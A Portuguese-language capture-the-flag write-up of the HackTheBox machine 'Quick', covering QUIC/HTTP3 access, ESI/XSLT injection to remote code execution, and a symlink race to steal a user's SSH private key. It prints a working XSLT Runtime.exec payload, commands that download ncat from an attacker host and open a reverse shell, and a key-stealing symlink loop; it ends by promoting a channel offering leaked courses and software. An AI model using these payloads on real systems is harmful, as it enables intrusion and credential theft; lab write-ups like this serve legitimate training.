
Continuo publicando soluções enviadas para finalização de máquinas do site HackTheBox .
Neste artigo, lidamos com a conexão QUIC HTTP / 3, obtemos RCE graças à injeção XSLT e usamos a técnica de condição de corrida para obter a chave privada do usuário.
A conexão com o laboratório é via VPN. É recomendável não se conectar de um computador de trabalho ou de um host onde haja dados importantes para você, pois você se encontra em uma rede privada com pessoas que sabem algo sobre segurança da informação.
Recon
Esta máquina tem um endereço IP de 10.10.10.186, que adicionei a / etc / hosts.
10.10.10.186 quick.htb
A primeira etapa é verificar as portas abertas. Uma vez que leva muito tempo para escanear todas as portas com nmap, primeiro farei isso usando masscan. Verificamos todas as portas TCP e UDP da interface tun0 a 500 pacotes por segundo.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.186 --rate=500

Agora, para obter informações mais detalhadas sobre os serviços executados nas portas, execute uma varredura com a opção -A.
nmap -A quick.htb -p9001,22

Portanto, temos dois serviços - SSH e o servidor web Apache. Vamos ver o que a web tem a oferecer.

Há um link para um portal que está executando HTTPS, mas a porta está fechada. Adicione este DNS a / etc / hosts.
10.10.10.186 portal.quick.htb
Mas a porta 443 está fechada! Também encontramos uma lista interessante no site.

Vamos examinar os diretórios com o gobuster. Nos parâmetros, especifique o número de streams 128 (-t), URL (-u), dicionário (-w), extensões em que estamos interessados (-x) e os códigos de resposta do servidor necessários (-s).
gobuster dir -t 128 -u http://quick.htb:9001/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html --timeout 60s -s 200,204,301,302,307,401

E encontramos páginas interessantes, mas todas requerem autorização. Depois de girar um pouco neste site, surgiu uma questão. Por que preciso de um link para o portal se a porta correspondente do servidor está fechada. Em seguida, examinaremos essa porta com mais detalhes novamente.
nmap -p443 -A quick.htb

sudo nmap -p443 -A -sU quick.htb

E essa porta está aberta para UDP!
Ponto de entrada
Pesquisando no Google, encontramos um artigo que descreve a tecnologia QUIC (semelhante ao nome do carro).

Além disso, lendo sobre este protocolo, aprendemos que a capacidade de trabalhar com este protocolo foi adicionada ao Chrome.

Mas você não pode se conectar usando o método especificado. Então lembre-se de que as conexões são filtradas e vá para este artigo .

Vamos instalá-lo conforme descrito no artigo:
sudo apt install rustc cargo
git clone --recursive https://github.com/cloudflare/quiche
cd quiche
cargo build --examples

Tudo foi montado com sucesso, agora vamos executar um pedido ao nosso site e obter uma resposta!
RUST_LOG=info target/debug/examples/http3-client https:/quick.htb/

Por conveniência, você pode salvar a saída em um arquivo HTML e abrir o documento em um navegador, mas já estou acostumado. Vemos um link para uma página com documentos, então vamos consultá-lo.
RUST_LOG=info target/debug/examples/http3-client https:/quick.htb/index.php?view=docs

E vemos dois documentos. Baixe-os.
RUST_LOG=info target/debug/examples/http3-client https:/quick.htb/docs/QuickStart.pdf > QuickStart.pdf
RUST_LOG=info target/debug/examples/http3-client https:/quick.htb/docs/Connectivity.pdf > Connectivity.pdf
E em Connectivity.pdf diz com qual senha podemos logar, só precisamos usar algum tipo de e-mail como nome de usuário.

Vamos reunir informações ... Já foi apresentada a lista de clientes, mas também podemos encontrar funcionários.

Vamos criar uma lista de emails. Portanto, Tim se refere a QConsulting do Reino Unido, e seu e-mail provavelmente será tim@qconsulting.co.uk. Vamos fazer um para todos os nomes. E depois de tentar fazer login com eles, acessamos com sucesso como elisa@wink.co.uk.

DO UTILIZADOR
Depois de dar uma olhada em volta, percebi que o plugin wappalyzer não funciona. Vamos dar uma olhada nas tecnologias usadas com whatweb.
whatweb http://quick.htb:9001/home.php

E vemos o título X-Powered-By: Esigate . Vamos procurar exploits.

Portanto, a injeção XSLT pode resultar com RCE. Aprendemos com o gobuster que também existem as páginas search.php e ticket.php. Se você ligar para pesquisar. Então, seremos informados de que não há string de pesquisa.

Então vamos passar a busca de parâmetros.

E quando você pesquisa por “2”, há um resultado.

Mas na página ticket.php, você pode criar um ticket.


E obtemos o registro correspondente que pode ser encontrado. A exploração da vulnerabilidade é bem ilustrada aqui . Segundo o artigo, para obter o RCE, é necessário enviar um link para o arquivo XSL, que terá o seguinte conteúdo:
<?xml version="1.0" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" omit-xml-declaration="yes"/>
<xsl:template match="/"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<root>
<xsl:variable name="cmd"><![CDATA[!!!RCE!!!]]></xsl:variable>
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
Process: <xsl:value-of select="$process"/>
Command: <xsl:value-of select="$cmd"/>
</root>
</xsl:template>
</xsl:stylesheet>
Onde CDATA [] conterá o comando sendo executado. Devemos enviar a inclusão desses arquivos como uma mensagem.
<esi:include+src="FILE.xml"+stylesheet="FILE.xsl"></esi:include>
Em seguida, inicie o ouvinte na máquina local.
nc -lvp 4321
E agora vamos criar tickets e fazer referência a eles. Como os caracteres “>” e “<” serão escapados, faremos três consultas. Faremos o download do ncat, daremos permissão de execução e reconectaremos. Abaixo estão os valores CDATA [] para três arquivos:
1.xsl: wget http://10.10.14.191/ncat
2.xsl: chmod +x ncat
3.xsl: ./ncat 10.10.14.191 4321 -e /bin/sh
E vamos executar 6 requisições (a primeira é o conteúdo da mensagem, a segunda é a requisição do ticket).
<esi:include+src="http://10.10.14.191/1.xml"+stylesheet="http://10.10.14.191/1.xsl"></esi:include>

<esi:include+src="http://10.10.14.191/2.xml"+stylesheet="http://10.10.14.191/2.xsl"></esi:include>

<esi:include+src="http://10.10.14.191/3.xml"+stylesheet="http://10.10.14.191/3.xsl"></esi:include>

E vemos a conexão.


USUÁRIO 2
Por conveniência, vamos criar e registrar uma chave SSH.


Agora você pode se conectar usando sua chave privada. Vamos lembrar o arquivo db.php encontrado nos sites, que deve conter credenciais para conexão com o banco de dados. Vamos dar uma olhada.

Vamos nos conectar com as credenciais recebidas.
mysql -h localhost -u db_adm -p
Vamos examinar os bancos de dados disponíveis.

Selecione o banco de dados rápido.

Vejamos a tabela neste banco de dados.

Por fim, obtemos dados da tabela de usuários.

Recebemos hashes, mas não funciona para classificar por meio de MD5. Vamos ver o código onde os hashes são comparados.


Portanto, a senha vai primeiro para a função crypt. Vamos escrever nosso próprio código que irá iterar sobre as senhas.
<?php
$hash = 'c6c35ae1f3cb19438e0199cfa72a9d9d'; //'e626d51f8fbfd1124fdea88396c35d05';
$wordlist = fopen("./tools/rockyou.txt","r");
while(! feof($wordlist)) {
$str = fgets($wordlist);
$str = trim($str);
echo "Find password: " . $str ." \r";
$tmp_hash = md5(crypt($str,'fa'));
if($hash == $tmp_hash){
echo "Password Found: ". $str."\n";
fclose($wordlist);
exit(0);
}
}
fclose($wordlist);
?>

E obtemos a senha. Você não pode alterar a senha localmente e também não funciona para SSH, então vamos verificar o resto do código-fonte. Como você pode ver em add_printer.php, vários parâmetros são aceitos, incluindo endereço IP e porta. Em seguida, uma conexão é feita para testar a conexão.

O arquivo job.php é muito mais interessante.

Mas é impossível fazer login no servidor, uma vez que não está disponível. Vamos dar uma olhada nas configurações do servidor web. Assim, o arquivo é criado e, em seguida, transferido para o host e a porta especificados durante a criação da impressora. Mas graças ao atraso de suspensão (0,5) e ao fato de que as permissões do arquivo criado são 777, podemos alterá-lo antes de enviar, embora tenhamos todos os direitos para este diretório.

Assim, você pode escrever um script que vinculará este arquivo à chave privada do usuário!
cd /var/www/jobs;
while true;
do
for file in $(ls .);
do
rm -rf $file;
ln -s /home/srvadm/.ssh/id_rsa $file;
done
done
Vamos dar uma olhada nas configurações do servidor web.

Portanto, este site é executado em nome do srvadm e é acessível apenas por localhost. Vamos encaminhar a porta e adicionar a entrada apropriada em / etc / hosts.
127.0.0.1 printerv2.quick.htb
sudo ssh -i sam -L 80:127.0.0.1:80 sam@quick.htb
Agora vamos ao site.

E vamos prosseguir para adicionar uma impressora.

Depois que a impressora for adicionada, você precisará ativá-la.

Agora vamos executar nosso script e escolher imprimir.

E veremos a conexão com o ouvinte e a chave SSH do usuário.


RAIZ
E no diretório inicial, encontramos o diretório .cache.

E encontramos o arquivo de configuração da impressora.

E na configuração encontramos a string de conexão para a impressora:
https://username:password@ip/printer

De onde obtemos a senha que podemos usar para conectar via SSH.

Você pode se juntar a nós no Telegram . Lá você pode encontrar materiais interessantes, cursos que vazaram e software. Vamos reunir uma comunidade na qual haverá pessoas versadas em várias áreas de TI, para que possamos sempre ajudar uns aos outros em quaisquer questões de TI e segurança da informação.